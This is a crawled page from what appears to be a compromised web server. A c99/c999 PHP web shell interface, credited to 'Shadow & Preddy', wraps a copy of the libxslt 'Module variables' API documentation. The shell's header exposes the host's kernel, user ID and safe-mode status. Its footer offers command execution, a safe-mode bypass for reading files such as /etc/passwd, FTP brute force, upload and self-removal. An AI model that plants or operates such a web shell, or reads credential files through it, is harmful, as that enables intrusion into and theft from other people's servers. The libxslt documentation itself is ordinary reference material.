!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/usr/share/doc/libxslt-1.1.17/html/   drwxr-xr-x
Free 50.9 GB of 127.8 GB (39.83%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     libxslt-variables.html (20.95 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
Module variables from libxslt
Action against software patentsGnome2 LogoW3C logoRed Hat Logo
Made with Libxslt Logo

The XSLT C library for Gnome

Module variables from libxslt

API Menu
Related links
API Indexes

interface for the variable matching and lookup.

Table of Contents

#define XSLT_REGISTER_VARIABLE_LOOKUP
int	xsltAddStackElemList		(xsltTransformContextPtr ctxt, 
xsltStackElemPtr elems)
int	xsltEvalGlobalVariables		(xsltTransformContextPtr ctxt)
int	xsltEvalOneUserParam		(xsltTransformContextPtr ctxt, 
const xmlChar * name,
const xmlChar * value)
int	xsltEvalUserParams		(xsltTransformContextPtr ctxt, 
const char ** params)
void	xsltFreeGlobalVariables		(xsltTransformContextPtr ctxt)
void	xsltParseGlobalParam		(xsltStylesheetPtr style, 
xmlNodePtr cur)
void	xsltParseGlobalVariable		(xsltStylesheetPtr style, 
xmlNodePtr cur)
xsltStackElemPtr	xsltParseStylesheetCallerParam	(xsltTransformContextPtr ctxt, 
xmlNodePtr cur)
void	xsltParseStylesheetParam	(xsltTransformContextPtr ctxt, 
xmlNodePtr cur)
void	xsltParseStylesheetVariable	(xsltTransformContextPtr ctxt, 
xmlNodePtr cur)
int	xsltQuoteOneUserParam		(xsltTransformContextPtr ctxt, 
const xmlChar * name,
const xmlChar * value)
int	xsltQuoteUserParams		(xsltTransformContextPtr ctxt, 
const char ** params)
xmlXPathObjectPtr	xsltVariableLookup	(xsltTransformContextPtr ctxt, 
const xmlChar * name,
const xmlChar * ns_uri)
xmlXPathObjectPtr	xsltXPathVariableLookup	(void * ctxt, 
const xmlChar * name,
const xmlChar * ns_uri)

Description

Macro: XSLT_REGISTER_VARIABLE_LOOKUP

#define XSLT_REGISTER_VARIABLE_LOOKUP

Registering macro, not general purpose at all but used in different modules.

Function: xsltAddStackElemList

int	xsltAddStackElemList		(xsltTransformContextPtr ctxt, 
xsltStackElemPtr elems)

add the new element list at this level of the stack.

ctxt:xn XSLT transformation context
elems:a stack element list
Returns:0 in case of success, -1 in case of failure.

Function: xsltEvalGlobalVariables

int	xsltEvalGlobalVariables		(xsltTransformContextPtr ctxt)

Evaluate the global variables of a stylesheet. This need to be done on parsed stylesheets before starting to apply transformations

ctxt:the XSLT transformation context
Returns:0 in case of success, -1 in case of error

Function: xsltEvalOneUserParam

int	xsltEvalOneUserParam		(xsltTransformContextPtr ctxt, 
const xmlChar * name,
const xmlChar * value)

This is normally called from xsltEvalUserParams to process a single parameter from a list of parameters. The @value is evaluated as an XPath expression and the result is stored in the context's global variable/parameter hash table. To have a parameter treated literally (not as an XPath expression) use xsltQuoteUserParams (or xsltQuoteOneUserParam). For more details see description of xsltProcessOneUserParamInternal.

ctxt:the XSLT transformation context
name:a null terminated string giving the name of the parameter
value:a null terminated string giving the XPath expression to be evaluated
Returns:0 in case of success, -1 in case of error.

Function: xsltEvalUserParams

int	xsltEvalUserParams		(xsltTransformContextPtr ctxt, 
const char ** params)

Evaluate the global variables of a stylesheet. This needs to be done on parsed stylesheets before starting to apply transformations. Each of the parameters is evaluated as an XPath expression and stored in the global variables/parameter hash table. If you want your parameter used literally, use xsltQuoteUserParams.

ctxt:the XSLT transformation context
params:a NULL terminated array of parameters name/value tuples
Returns:0 in case of success, -1 in case of error

Function: xsltFreeGlobalVariables

void	xsltFreeGlobalVariables		(xsltTransformContextPtr ctxt)

Free up the data associated to the global variables its value.

ctxt:the XSLT transformation context

Function: xsltParseGlobalParam

void	xsltParseGlobalParam		(xsltStylesheetPtr style, 
xmlNodePtr cur)

parse an XSLT transformation param declaration and record its value.

style:the XSLT stylesheet
cur:the "param" element

Function: xsltParseGlobalVariable

void	xsltParseGlobalVariable		(xsltStylesheetPtr style, 
xmlNodePtr cur)

parse an XSLT transformation variable declaration and record its value.

style:the XSLT stylesheet
cur:the "variable" element

Function: xsltParseStylesheetCallerParam

xsltStackElemPtr	xsltParseStylesheetCallerParam	(xsltTransformContextPtr ctxt, 
xmlNodePtr cur)

parse an XSLT transformation param declaration, compute its value but doesn't record it.

ctxt:the XSLT transformation context
cur:the "param" element
Returns:the new xsltStackElemPtr or NULL

Function: xsltParseStylesheetParam

void	xsltParseStylesheetParam	(xsltTransformContextPtr ctxt, 
xmlNodePtr cur)

parse an XSLT transformation param declaration and record its value.

ctxt:the XSLT transformation context
cur:the "param" element

Function: xsltParseStylesheetVariable

void	xsltParseStylesheetVariable	(xsltTransformContextPtr ctxt, 
xmlNodePtr cur)

parse an XSLT transformation variable declaration and record its value.

ctxt:the XSLT transformation context
cur:the "variable" element

Function: xsltQuoteOneUserParam

int	xsltQuoteOneUserParam		(xsltTransformContextPtr ctxt, 
const xmlChar * name,
const xmlChar * value)

This is normally called from xsltQuoteUserParams to process a single parameter from a list of parameters. The @value is stored in the context's global variable/parameter hash table.

ctxt:the XSLT transformation context
name:a null terminated string giving the name of the parameter
value:a null terminated string giving the parameter value
Returns:0 in case of success, -1 in case of error.

Function: xsltQuoteUserParams

int	xsltQuoteUserParams		(xsltTransformContextPtr ctxt, 
const char ** params)

Similar to xsltEvalUserParams, but the values are treated literally and are * *not* evaluated as XPath expressions. This should be done on parsed stylesheets before starting to apply transformations.

ctxt:the XSLT transformation context
params:a NULL terminated arry of parameters names/values tuples
Returns:0 in case of success, -1 in case of error.

Function: xsltVariableLookup

xmlXPathObjectPtr	xsltVariableLookup	(xsltTransformContextPtr ctxt, 
const xmlChar * name,
const xmlChar * ns_uri)

Search in the Variable array of the context for the given variable value.

ctxt:the XSLT transformation context
name:the variable name
ns_uri:the variable namespace URI
Returns:the value or NULL if not found

Function: xsltXPathVariableLookup

xmlXPathObjectPtr	xsltXPathVariableLookup	(void * ctxt, 
const xmlChar * name,
const xmlChar * ns_uri)

This is the entry point when a varibale is needed by the XPath interpretor.

ctxt:a void * but the the XSLT transformation context actually
name:the variable name
ns_uri:the variable namespace URI
Returns:the value or NULL if not found

Daniel Veillard


:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.012 ]--